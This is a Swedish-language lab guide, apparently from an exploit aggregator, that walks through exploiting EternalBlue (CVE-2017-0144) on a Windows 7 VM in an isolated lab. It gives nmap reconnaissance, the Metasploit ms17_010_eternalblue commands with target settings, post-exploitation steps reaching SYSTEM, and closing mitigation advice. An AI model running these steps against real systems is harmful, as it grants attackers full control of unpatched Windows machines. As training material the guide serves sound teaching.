## https://sploitus.com/exploit?id=2DCED19B-FD53-5198-9DE4-C2936C650E45
# Lab Guide: Exploatering av CVE-2017-0144 (EternalBlue)
Denna guide demonstrerar sÄrbarheten **CVE-2017-0144**, mer kÀnd som **EternalBlue**. Denna exploit utnyttjar en brist i Microsofts implementering av SMBv1-protokollet och blev vÀrldsberömd genom ransomware-attacken **WannaCry**.
> [!WARNING]
> **Ansvarsfriskrivning:** Denna guide Àr endast för utbildningsÀndamÄl i en kontrollerad miljö. Utför aldrig penetrationstester eller exploits pÄ system du inte har uttryckligt skriftligt tillstÄnd att testa.
---
## đ Labmiljö & Material
För att Äterskapa sÄrbarheten pÄ ett sÀkert sÀtt anvÀnds en isolerad miljö i VirtualBox. Detta sÀkerstÀller att ingen trafik eller skadlig kod lÀmnar labbmiljön.
| Komponent | Detaljer | KĂ€lla |
| :--- | :--- | :--- |
| **Target** | Windows 7 Ultimate SP1 (x64) | [Archive.org](https://archive.org/details/win-7-ult-sp-1-english-x-64) |
| **Attacker** | Kali Linux (2025.3) | [Kali.org](https://www.kali.org/get-kali/#kali-virtual-machines) |
| **Hypervisor** | Oracle VirtualBox | [VirtualBox.org](https://www.virtualbox.org/wiki/Downloads) |
### NĂ€tverkskonfiguration
BÄda maskinerna stÀlls in pÄ **Host-Only Adapter** för att isolera dem frÄn internet men tillÄta kommunikation mellan varandra.
* `Högerklicka pÄ VM -> Settings -> Network -> Adapter 1 -> Attached to: Host-only Adapter`.
---
## 1. Förberedelser (Target & Attacker)
### Konfigurera Windows 7 (Target)
Efter installationen mÄste Windows-brandvÀggen inaktiveras för att simulera en sÄrbar miljö utan externa skyddslager.
1. GĂ„ till `Control Panel` -> `System and Security` -> `Windows Firewall`.
2. VÀlj `Turn Windows Firewall on or off` och stÀll in pÄ **Off**.
### Konfigurera Kali Linux (Attacker)
Logga in med standarduppgifterna `kali` / `kali`. Det Àr viktigt att tid och tidszon stÀmmer för korrekt loggning.
1. Ăppna **Time and Date Settings**.
2. LÄs upp instÀllningarna och stÀll in rÀtt tidszon (t.ex. Europe/Stockholm).
---
## 2. Informationsinsamling & Scanning
### Identifiera Attacker IP
Kontrollera din egen IP-adress i Kali-terminalen:
`ip a`
NÀtverksupptÀckt (Reconnaissance)
Vi anvÀnder netdiscover för att identifiera mÄlets IP-adress pÄ nÀtverket:
`sudo netdiscover`
`Scanning med Nmap`
NÀr vi har mÄlets IP (t.ex. 192.168.56.101) kör vi en scanning för att bekrÀfta operativsystem och öppna portar (speciellt port 445 för SMB):
`sudo nmap -O 192.168.56.101`
3. Exploatering med Metasploit
Nu anvÀnder vi Metasploit Framework för att utnyttja sÄrbarheten.
Starta Metasploit: `msfconsole`
VĂ€lj modul: `use exploit/windows/smb/ms17_010_eternalblue`
SÀtt mÄl-IP: `set RHOSTS 192.168.56.101`
SĂ€tt lyssnar-interface: `set LHOST eth0`
Kör exploiten: `run`
4. Post-Exploatering
NÀr vi ser meterpreter > har vi lyckats fÄ en session. Vi kan nu kontrollera vÄra rÀttigheter:
`shell`
`whoami`
Resultatet nt authority\system bekrÀftar att vi har fullstÀndig kontroll över systemet.
Demonstrationsmeddelande
För att visa intrÄnget visuellt kan vi skicka ett meddelande direkt till offrets skÀrm:
`msg * "Du har blivit Hackad!"`
đĄ Hur man skyddar sig (Mitigation)
Att förstÄ hur man ÄtgÀrdar sÄrbarheter Àr kritiskt för en sÀkerhetsexpert. För att skydda sig mot EternalBlue bör följande göras:
Installera SĂ€kerhetsuppdateringar: Applicera Microsofts patch MS17-010.
Inaktivera SMBv1: Detta gamla protokoll Àr osÀkert och bör inaktiveras i Windows-instÀllningarna.
BrandvÀggskonfiguration: SÀkerstÀll att port 445 inte Àr öppen mot osÀkra nÀtverk.
Uppgradera Operativsystem: AnvÀnd moderna operativsystem (Windows 10/11) som har inbyggda skydd mot minneskorruption.
Tack för att ni lÀser min guide! Kontakta mig gÀrna via LinkedIn för frÄgor eller samarbeten.